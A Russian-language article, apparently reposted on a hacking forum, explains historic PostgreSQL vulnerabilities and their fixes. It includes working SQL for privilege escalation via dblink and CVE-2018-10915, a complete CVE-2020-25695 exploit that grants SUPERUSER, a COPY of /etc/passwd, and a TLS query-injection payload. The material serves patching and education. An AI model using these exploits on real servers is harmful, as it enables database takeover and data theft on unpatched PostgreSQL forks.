• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Уязвимости слонов. Наиболее эпичные CVE в PostgreSQL

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Раз в квартал у PostgreSQL выходит минорный релиз с парой уязвимостей. Часто они позволяют превратить непривилегированного пользователя в местного царя superuser’а. Ну, в «Постгресе» все просто — накатываем патчи в момент выхода обновления и спим спокойно. Однако большинство форков остаются уязвимыми! Я прошелся по историческим CVE «Постгреса» в поисках интересных лазеек и нашел там очень много интересного.

Недавно я участвовал в создании управляемого Greenplum для Yandex.Cloud. Greenplum — это аналитическая база на основе старого доброго PostgreSQL. Про добрый — это такая присказка. А вот старый Postgres там во весь рост. Greenplum 6 сделан на основе PostgreSQL 9.4, для которого обновления безопасности не выпускаются с доковидных времен.

Что значит термин «управляемый» применительно к Greenplum? Наши обвязки — Control Plane — автоматически соединяются с базой, делают бэкапы, мониторят, не сломалось ли чего, устанавливают обновления и все такое прочее. Исторически во всех базах данных есть суперпользователь. Это — уровень, на котором пользователь может все, что доступно процессу базы. В частности, он может атаковать Control Plane. Поэтому в управляемых базах привилегии суперпользователя обычно недоступны, а если доступны — это представляет серьезную опасность для данных. Какой‑нибудь буйный сосед может атаковать Control Plane, а потом и всю нашу базу. Поэтому каждую уязвимость «Постгреса» я теперь рассматриваю как повод пропатчить Greenplum.

Вообще, у «Постгреса» имеется тонна форков. Потенциально все они уязвимы ко всему, что будет перечислено в этой статье. В результате на таких базах начинают майнить или случаются истории как с фотками Скарлет. Кроме того, многие облака не заставляют пользователей апгрейдиться после end of life мажорной версии. У некоторых, как, например, у Redshift, есть программы bug bounty. Если у тебя в запасе уйма свободного времени — это хороший шанс конвертировать знания в деньги.

Может показаться, что эпичные дыры в безопасности — верный признак «решета», которым лучше не пользоваться. Это не так. Открытая публикация всех исторических уязвимостей — то, что не дает заметать под ковер zero day. Понятный процесс поддержки и обновления мажорных версий пилит комитет PostgreSQL security. Он не зависит от одной коммерческой компании и прозрачно формируется из множества членов сообщества, известных своим дотошным ревью кода. Хочешь поместить закладку в код «Постгреса», как это случилось с ядром Linux? Для одной попытки потребуются многие годы работы, если не десятилетия.

Что ж, перейдем, наконец, к сути. Чем можно себя развлечь, встретив недопатченный «Постгрес»?

CVE-2018-10915. ХИТРЫЕ СТРОКИ ПОДКЛЮЧЕНИЯ​

Уязвимости CVE-2018-10915 подвержены версии 10.4, 9.6.9 и более древние. Сама уязвимость называется Certain host connection parameters defeat client-side security defenses, и может показаться, будто что речь идет об опасности на стороне клиента, а не сервера. Но CVSS score 8,5 намекает, что все не так просто.

Когда сервер открывает соединения по просьбе клиента — это всегда потенциальная угроза. Если твой веб‑сервер проходит по URL’у, полученному от клиента, — клиент обязательно подсунет URL для заказа пиццы в ваш дата‑центр.

История из жизни сообщества​

Один раз мы пришли в сообщество с предложением разрешить непривилегированным пользователям создавать подписки логической репликации. В сообществе нам намекнули, что создание исходящих соединений — уже отличный способ остаться с голой базой против ежа. И действительно, немного подумав, мы нашли способ взломать собственный набор патчей.

В PostgreSQL для обращения к данным на соседних серверах есть специальные расширения — dblink и postgres_fdw. Они позволяют использовать таблицы на других серверах (необязательно PostgreSQL) в SQL-запросах.
Принцип работы dblink и postgres_fdw

Принцип работы dblink и postgres_fdw

Postgres_fdw — это чуть более удобный способ сделать ровно то же самое. Пользователь не передает запросы текстом, а локально видит удаленную таблицу как обычную.

Если в базе данных уже создано одно из этих двух расширений, пользователь может сходить с адреса сервера PostgreSQL куда‑нибудь за данными. Уже сам по себе этот факт когда‑то создавал прикольную уязвимость CVE-2007-6601. Причем не нужно даже лазить куда‑то далеко — можно просто прийти от сервера к самому себе и попросить локальное соединение.

Локальное соединение с dblink

Локальное соединение с dblink

Такой Уроборос возможен потому, что в host based authentication (pg_hba.conf) часто можно видеть какие‑нибудь прикольные строчки вроде тех, что приведены ниже. Дословно они означают «локальным соединениям — верить».

NGINX:
# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust
Они туда приезжают из докер‑образа или при инициализации с initdb. Что же делать с такой возможностью?
NGINX:
postgres=# SELECT dblink_exec('host=localhost dbname=postgres','ALTER USER x4m WITH SUPERUSER;');
 dblink_exec
 -------------
 ALTER ROLE
(1 row)
postgres=# \c postgres
You are now connected to database "postgres" as user "x4m".
postgres=# CREATE TABLE pwn(t TEXT);
CREATE TABLE
postgres=# COPY pwn FROM '/etc/passwd';
COPY 27
postgres=# SELECT * FROM pwn;
Сразу отмечу два момента.
1. Конечно, это стриггерит мониторинги — для защиты от таких взломов необходимо постоянно проверять whitelist суперъюзеров в системе. Это совсем несложно технически и в хороших системах давно сделано. Но неприятности могут начаться еще до того, как на хост прибегут безопасники с щипцами и паяльником.
2. Хорошую инструкцию по основам хакинга PostgreSQL можно найти на pentest-wiki. Некоторые примеры в этой статье взяты оттуда.
Разумеется, такую уязвимость запатчили еще в далеком 2007 году (Дуров, верни стену!). Причем запатчили нехитрым способом, теперь dblink и postgres_fdw не согласны идти куда‑либо без пароля!
Код:
static void
dblink_security_check(PGconn *conn, remoteConn *rconn)
{
    if (!superuser())
    {
        if (!PQconnectionUsedPassword(conn))
        {
            PQfinish(conn);
            if (rconn)
                pfree(rconn);
            ereport(ERROR,
                    (errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
                     errmsg("password is required"),
                     errdetail("Non-superuser cannot connect if the server does not request a password."),
                     errhint("Target server's authentication method must be changed.")));
        }
    }
}
Вот и славно, теперь все безопасно, мы не используем беспарольные соединения от адреса нашего сервера. Защитили себя от самих себя. Но прогресс (как и «Постгрес») не стоит на месте, новые фичи принесут новые баги!

В 2010-х сообщество Postgres активно пилило фичи для захода в рынок Enterprise-систем. Одна из таких фич — построение высокодоступной (highly available) базы данных. Дело в том, что любое железо может рано или поздно отказать: диски иногда сыплются как песок, память страдает от космических лучей, проц перегревается, сетевой свич получает бажную прошивку, кабель до дата‑центра перегрызает злобный хомяк и так далее. Стандартный подход для решения таких проблем — дублирование систем. У авиалайнера как минимум два двигателя, у парашютиста два парашюта, у Вупсеня — Пупсень, у Пупы — Лупа.

Так и PostgreSQL умеет реплицировать полную бинарную копию данных на другое железо, где вероятность одновременного отказа минимизирована. При этом клиент имеет два или больше hostname’ов и не знает, кто есть кто, до открытия соединения.

Реплицирование БД в PostgreSQL

Реплицирование БД в PostgreSQL

Клиент может указать в строке соединения, нужен ли ему Primary для записи, или подойдет любой живой Standby, где можно выполнить только читающие запросы. Строка соединения при этом выглядит так.
Код:
postgresql://host1:port2,host2:port2/?target_session_attrs=read-write
Это фича PostgreSQL 10, о ней можно подробнее почитать тут. Но и в PostgreSQL 9.6 можно сделать то же самое, если один DNS name вернет несколько IP-адресов.

Суть уязвимости CVE-2018-10915 заключается в том, что, один раз использовав пароль для аутентификации, dblink и postgres_fdw согласны зайти к следующим хостам без пароля. Нам достаточно поднять свою реплику, доступную серверу по сети, аутентифицироваться в ней, а затем вернуться в localhost.
Код:
postgres=# SELECT dblink_exec('host=my.standby.xyz,localhost dbname=postgres password=imahacker','ALTER USER x4m WITH SUPERUSER;');
 dblink_exec
 -------------
 ALTER ROLE
(1 row)
Здесь пароль imahacker подходит к реплике my.standby.xyz, а localhost пароль уже не спрашивает.

Фикс и подробное описание от Тома Лэйна можно почитать в коммите d1c6a14. CVE-2018-10915 была обнаружена Андреем Красичковым aka buglloc. Если тебе интересно больше деталей (и немного философии), то стоит почитать его хак‑стори. Там подробнее описан бажный код и эксплуатация, в том числе в версии 9.6 без target session attrs.

Версия 9.6 примечательна, например, тем, что на данный момент это дефолтная версия в Astra Linux. А еще у нее end of life в начале ноября 2021-го — надеюсь, в «Астре» все пропатчат, потому что новые CVE в 9.6 фикситься не будут.

CVE-2020-25695. КРУЧУ, ВЕРЧУ, ЗАПУТАТЬ ХОЧУ​

Уязвимости CVE-2020-25695 подвержены 13.0, 12.4, 11.10, 10.15 и другие мажорные версии, нынче уже достигшие EOL. Overall score 8,8. В уязвимости также эксплуатируется комбинация из множества нетривиальных фич. Тем не менее эксплуатация подходит для script kiddies — просто зафигачь SQL-запрос, и готово, никакой возни с подставными репликами, написанием кода или чего‑то такого. Если ты из таких — в конце раздела по ссылке можешь скачать full sploit из статьи исследователя, открывшего уязвимость. А я тут пока расскажу, что за фичи привели к уязвимости.

Ахиллесова пята PostgreSQL — процесс вакуумизации aka VACUUM. Он удаляет версии данных, которые нет необходимости видеть новым транзакциям. Иногда его запускает сисадмин или cron от имени сисадмина. Иногда он запускается сам — когда удалилось или обновилось достаточно много строк. В этом случае он называется autovacuum. И запускается он от имени суперпользователя.

Вот бы добавить какого‑нибудь кода к вакууму, чтобы он выполнился от имени суперпользователя, да? Об этом разработчики Postgres, конечно, подумали. На время вакуумизации конкретной таблицы контекст выполнения переключается на владельца таблицы. Если мы запилили свою таблицу — ну, наши функции при ее вакуумизации выполнятся с нашими правами. Работает это так.

Код:
/* Switch to the table owner's userid... */
SetUserIdAndSecContext(onerel->rd_rel->relowner,
    save_sec_context | SECURITY_RESTRICTED_OPERATION);
// Вакуумизируем на все деньги
/* Restore userid and security context */
SetUserIdAndSecContext(save_userid, save_sec_context);
CommitTransactionCommand();
Получается, что нам нужно во время вакуумизации отложить взлом до момента окончания транзакции. Потому что до коммита мы выполняемся с недостаточно крутым контекстом. Решение этой задачи довольно простое: можно создать триггер DEFERRED, который выполнится при коммите. Вот кусочек кода из advisory отправленного при репорте бага.
Код:
/* create a CONSTRAINT TRIGGER, which is deferred
 deferred causes it to trigger on commit, by which time the user has been switched back to the
 invoking user, rather than the owner
*/
CREATE CONSTRAINT TRIGGER def
    AFTER INSERT ON t0
    INITIALLY DEFERRED
    FOR EACH ROW
  EXECUTE PROCEDURE strig();
Как нам сделать, чтобы этот триггер вызвался во время вакуума? Для этого нужно, чтобы вакуум вставлял данные, а он их удаляет... Просто надо сделать так, чтобы вакуум одной таблицы вставлял данные в другую!

Какие функции вызываются при вакууме? Функции индексов по выражению. Рассмотрим код эксплоита полностью.
Код:
CREATE TABLE t0 (s varchar);
CREATE TABLE t1 (s varchar);
CREATE TABLE exp (a int, b int);
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql IMMUTABLE AS
'SELECT $1'; -- При создании индекса по выражению функция должна быть IMMUTABLE, то есть БЕСПОЛЕЗНА
CREATE INDEX indy ON exp (sfunc(a));
CREATE OR REPLACE FUNCTION sfunc(integer) RETURNS integer
   LANGUAGE sql SECURITY INVOKER AS
'INSERT INTO fooz.public.t0 VALUES (current_user); SELECT $1'; -- Заменим функцию мутабельной
CREATE OR REPLACE FUNCTION snfunc(integer) RETURNS integer
   LANGUAGE sql SECURITY INVOKER AS
'ALTER USER foo SUPERUSER; SELECT $1'; -- Функция, вызываемая из DEFERRED триггера
CREATE OR REPLACE FUNCTION strig() RETURNS trigger
AS $e$ BEGIN
PERFORM fooz.public.snfunc(1000); RETURN NEW;
END $e$
LANGUAGE plpgsql; -- Функция триггера
CREATE CONSTRAINT TRIGGER def
    AFTER INSERT ON t0
    INITIALLY DEFERRED FOR EACH ROW
    EXECUTE PROCEDURE strig();
ANALYZE exp;
INSERT INTO exp VALUES (1,1), (2,3),(4,5),(6,7),(8,9);
DELETE FROM exp;
INSERT INTO exp VALUES (1,1);
ALTER TABLE exp SET (autovacuum_vacuum_threshold = 1);
ALTER TABLE exp SET (autovacuum_analyze_threshold = 1);
Здесь вакуум exp вызывает sfunc(), которая вставляет данные в t0. Затем триггер на t0 вызывает string() в конце транзакции с контекстом суперпользователя, который, в свою очередь, вызывает snfunc(). А он грантит суперпользователя атакующему. Для эксплуатации этой уязвимости нужна возможность создавать таблицы и индексы.

CVE-2020-25695 найдена Этьеном Столмансом aka staaldraad и подробно описана в его блоге. Денис Смирнов также адаптировал эту уязвимость для GreenplumDB.

CVE-2021-23214. TLS — ЭТО НАДЕЖНО, TLS — ЭТО БЕЗОПАСНО​

Уязвимости CVE-2021-23214 подвержены 14.0, 13.4, 12.8, 11.13, 10.18. Overall score 8,1. А еще уязвимы оказались все пулеры соединений — PgBouncer, PgPool II и Odyssey.
TLDR: если используется клиентская аутентификация по TLS-сертификату и есть MITM, можно в начало соединения добавить выполнение своего запроса.

Постгресный протокол обмена данными построен на сообщениях. Каждое сообщение начинается с 4 байт, содержащих информацию о размере сообщения. Потом идет один байт, определяющий тип пакета. Оставшееся место может быть занято пакетоспецифичными данными.

Нормальный сервер первым делом отправит клиенту startup-сообщение с предложением перейти на TLS-шифрование, получит согласие клиента, передаст сокет библиотеке OpenSSL, а от нее уже получит безопасный канал для общения, в котором проведет аутентификацию.

В PostgreSQL аутентифицироваться можно по‑разному. Например, по паролю открытым текстом. Но это стремно со всех сторон. Можно воспользоваться MD5-аутентификацией: сервер пришлет соль, клиент перехеширует пароль, себя и соль, а потом отправит серверу. Но при этом взломав базу и прочитав представление pg_authid, можно получить достаточно данных, чтобы зайти в базу любым другим пользователем с MD5-аутентификацией.
Можно воспользоваться схемой SCRAM-SHA-256, при этом взлом базы не позволит использовать полученные секреты. Даже зайти в ту же самую базу по стыренным данным не получится.

А можно вообще «делегировать ответственность Фунту» — использовать аутентификацию по TLS-сертификатам. При этом, когда установлено TLS-соединение, Common Name сертификата будет сравниваться с пользовательским. Если они совпали — значит, у клиента есть сертификат, выписанный доверенным центром. У такого подхода много плюсов: например, ротация секретов больше не проблема DBA. Пусть клиент сам разбирается, где добыть валидный серт, если старый протух.
Если вся база целиком украдена, в ней не добыть вообще никаких аутентификационных данных. Проверка сертификата написана настоящими сварщиками от криптографии, осталось только взять их код. Но есть нюанс.

У PostgreSQL довольно мелкие пакеты. Например, пакет ReadyForQuery — 6 байт. Для чтения из сокета необходим системный вызов — это долго. Поэтому Postgres и все пулеры читают данные про запас. Кто‑то называет это буферизацией, кто‑то — readahead. Из буфера readahead байты идут уже на парсинг пакетов. Буфер readahead наполняется напрямую из сетевого сокета либо из потока TLS в шифрованном соединении. А вот в момент смены нешифрованного соединения происходит... а ничего не происходит.

В OpenSSL передается не буфер readahead, а само сетевое соединение. Те байты, что пришли нешифрованными, остаются лежать как бы считанными. Как будто полученными из шифрованного соединения. Этим может воспользоваться man in the middle, добавив вслед за startup-сообщением сообщение SimpleQuery с простым запросом "CREATE ROLE x4m WITH LOGIN SUPERUSER PASSWORD 'imahacker';". Когда аутентификация в OpenSSL будет успешно завершена, сервер продолжит считывать сообщения из буфера readahead и выполнит SimpleQuery, как если бы он пришел от пользователя.
Принцип работы уязвимости CVE-2021-23214

У этой уязвимости есть и симметричная клиентская CVE-2021-23222: MITM может подсунуть свой ответ на первые запросы клиента вместо того, что говорит сервер на самом деле. Но эксплуатация этой уязвимости требует нефигового знания кода клиентского приложения. Например, как‑то так.
Принцип работы уязвимости CVE-2021-23222

В Postgres фикс клиентской и серверной уязвимостей предполагает не только сброс буфера после startup-пакета, но и запись в лог о попытке нахимичить с TLS. В актуальных версиях попытка эксплуатации не пройдет незамеченной и, вероятно, разбудит мониторинги безопасности. Мой фикс для этих уязвимостей в «Одиссее» выглядит так. В «Одиссее» они, кстати, известны под другими номерами: CVE-2021-43766 и CVE-2021-43767.

CVE-2021-23214 и подобные уязвимости в PG найдены Джейкобом Чемпионом, после выхода фиксов он написал довольно интересный список пожеланий к проекту для повышения безопасности в будущем.

автор @x4mmm ака Андрей Бородин
xakep.ru
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх